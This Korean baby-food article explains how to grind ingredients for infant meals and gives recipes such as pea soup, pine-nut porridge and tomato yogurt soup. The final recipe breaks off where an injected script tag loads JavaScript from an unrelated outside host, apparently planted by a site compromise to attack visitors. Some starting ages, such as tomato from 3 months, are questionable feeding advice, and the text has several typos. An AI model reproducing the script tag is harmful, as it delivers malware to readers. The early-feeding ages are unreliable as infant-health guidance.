단단한 재료를 이유식에 이용할 때는 갈기 공식을 응용한다. 단단한 야채나 과일, 뼈째 먹는 생선 등이 갈기 좋은 재료.
이유식 초기에는 아무리 곱게 갈아도 그대로 이용하는 게 아니라 고운 채에 내려 사용한다. 후기나 완료기에는 채에 내리지 않고 바로 사용해도 좋다.


-이런 재료가 갈기 좋아요

새우 멸치 등 껍질과 뼈째 먹는 생선은 갈아서 사용하면 편리하다. 미리 갈아 두었다가 국물이나 수프를 만들 때 넣어준다.

마른 새우 : 필수 아미노산이 풍부한 강장식품. 멸치와 함께 칼슘의 중요 공급원이다. 통째 갈아 국이나 수프에 타 먹인다. 생후 4~6개월부터.

완두콩 :성장 촉진 성분이 함유되어 있고 비타민 B1, B6, 엽록소, 콜린 등이 풍부한 식품. 생후 4~6개월부터.

생선살 : 필수 아미노산을 함유한 동물성 단백질의 주 공급원. 소화 흡수가 잘 되고 맛이 좋아 아가들이 좋아한다. 생후 6개월부터 시작.

대두 : 흰 콩은 소화를 돕고 구토, 설사 등을 멎게 하는 역할까지 해 이유식으로 활용도가 높다. 시작은 생후 4개월부터.

토마토 : 고기, 생선 등 기름기 있는 음식과 잘 어울리고 소화 흡수를 돕는다. 생후 3개월부터.

잣 : 마른 기침, 변통에 효과적이므로 설사를 하는 아기에겐 금물. 갈아서 죽을 끓이거나 수프, 음료 등에 뿌려 먹인다. 생후 5~6개월.

멸치 : 뼈째 먹는 생선의 대명사. 하누 마리만 먹어도 충분한 칼슘 섭취가 가능하다. 시작시기 생후 4개월.

표고버섯 : 칼슘 흡수를 도와주는 비타민 D를 다량 함유한 식품. 시작시기 생후 6개월.


-재료별 갈기 요령

마른 재료는 분쇄기에

말린 멸치, 새우, 버섯 등의 마른 재료는 분쇄기를 이용한다. 처음에는 곱게 가는 것이 중요. 너무 슬쩍 갈아 껄끄러운 느낌이 나면 아기들이 거부반응을 일으키기 쉽다.

젖은 재료는 믹서기로

물기가 있는 재료는 분쇄기 보다 믹서를 이용해야 제대로 갈린다. 물의 양을 적당히 맞추어 갈아준다. 또 간 재료는 공기에 오래 노출하지 맗고 빨리 먹거나 냉장고에 보관해둔다.

적은 재료를 편하게 갈 수 있는 강판

토마토즙을 만들거나 소스를 만들 때 작은 양이라면 강판을 이용하는 것이 편하다. 갈기 전 껍질을 제거하면 깨끗하게 갈린다.


견과류를 갈 때는 치즈 그레이터

잣같이 작은 견과류는 작은 분쇄기를 이용하거나 칼로 다져도 되지만 가장 좋은 방법은 덩어리 치즈를 갈 때 상뇽하는 기구인 치즈 그레이터를 이용하는 것. 수입상가에서 구입할 수 있다.

덩어리 치즈를 갈 때는 굽은 치즈 강판

치즈는 우유와 함께 아기들 이유식에 많이 이용되는 재료. 슬라이스 치즈를 수프나 밥 위에 얹어 녹여 먹이는 경우가 대부분이지만 덩어리 치즈는 굽은 치즈 강판을 이용해 갈면 손쉽다.


갈아 만든 이유식

완두콩 수프(7개월~)

재료(1회분) : 완두콩 50g, 양파 1/6개, 버터 2/3큰술, 밀가루 1큰술, 육수 2컵, 소금 약간, 크림 1큰술
1) 냄비에 버터를 약간 두르고 완두콩과 양파를 넣고 볶다가 버터를 추가로 넣고 밀가루를 볶는다.
2) 육수를 붓고 약한 불에서 끓여 식힌 다음 믹서에 갈아 채에 거른다.
3) 냄비에 붓고 꿇으면 소금 간을 한 후 크림을 넣는다.


말린 연새우 두부탕(7개월~)

재료(1회분) : 말린 새우 1/3컵, 연두부 3큰술, 된장 1/2큰술(장의 짜기에 따라 조절), 육수 1과 1/2컵
1) 새우의 다리와 꼬리 부분을 따낸 후 분쇄기에 넣고 곱게 간다.
2) 냄비에 육수를 담고 된장을 풀은 다음, 건새우를 넣고 국물을 우려낸다.
3) 2의 국물에 연두부를 넣는다.


잣죽(7개월~)

재료(2회분) : 잣 1/4컵, 불린 쌀 1/3컵, 소금 약간
1) 잣은 고깔을 떼고 물에 씻어 잠깐 담갔다가 갈아 고운 채에 내린다. 불린 쌀도 갈아 체에 받친다.
2) 잣 간 것을 바닥이 두꺼운 냄비에 넣고 물을 부어 중불에서 나무 주걱으로 저어가며 끓인다.
3) 3에 갈은 쌀을 넣고 끓이다 5분 정도 지나면 뻑뻑한 상태가 되었다가 다시 부드럽게 된다.
4) 여기서 5분 정도 더 뜸을 들인 다음 불을 끄고 먹기 직전 소금 간을 한다.


토마토 요구르트 수프(7개월~)

재료(2회분) : 토마토 1개, 플레인 요구르트 1/2통
1)토마토를 깨끗이 씻어 뜨거운 물에 담가 껍질을 벗긴다. 씨를 제거한 후 강판에 간다.
2)여기에 플레인 요구르트를 혼합하면 끝.


생선 완자 탕수(12개월~)

재료(1회분) : 대구살 50g, 달걀 흰자 1큰술, 녹말가루 1큰술, 소금 약간.
탕수 소스(양파 1/8개, 당근 약간, 피망 1/6개, 표고버섯 1장, 욱수 1/2컵, 간장 1작은술, 식초 1큰술, 소금, 녹말물 1과 1/2큰술, 참기름 약간)
1) 으깬 다구살에 달걀 소금을 넣고 둥글게 빚어 녹?script src=http://s.kaisimi.net/s.js>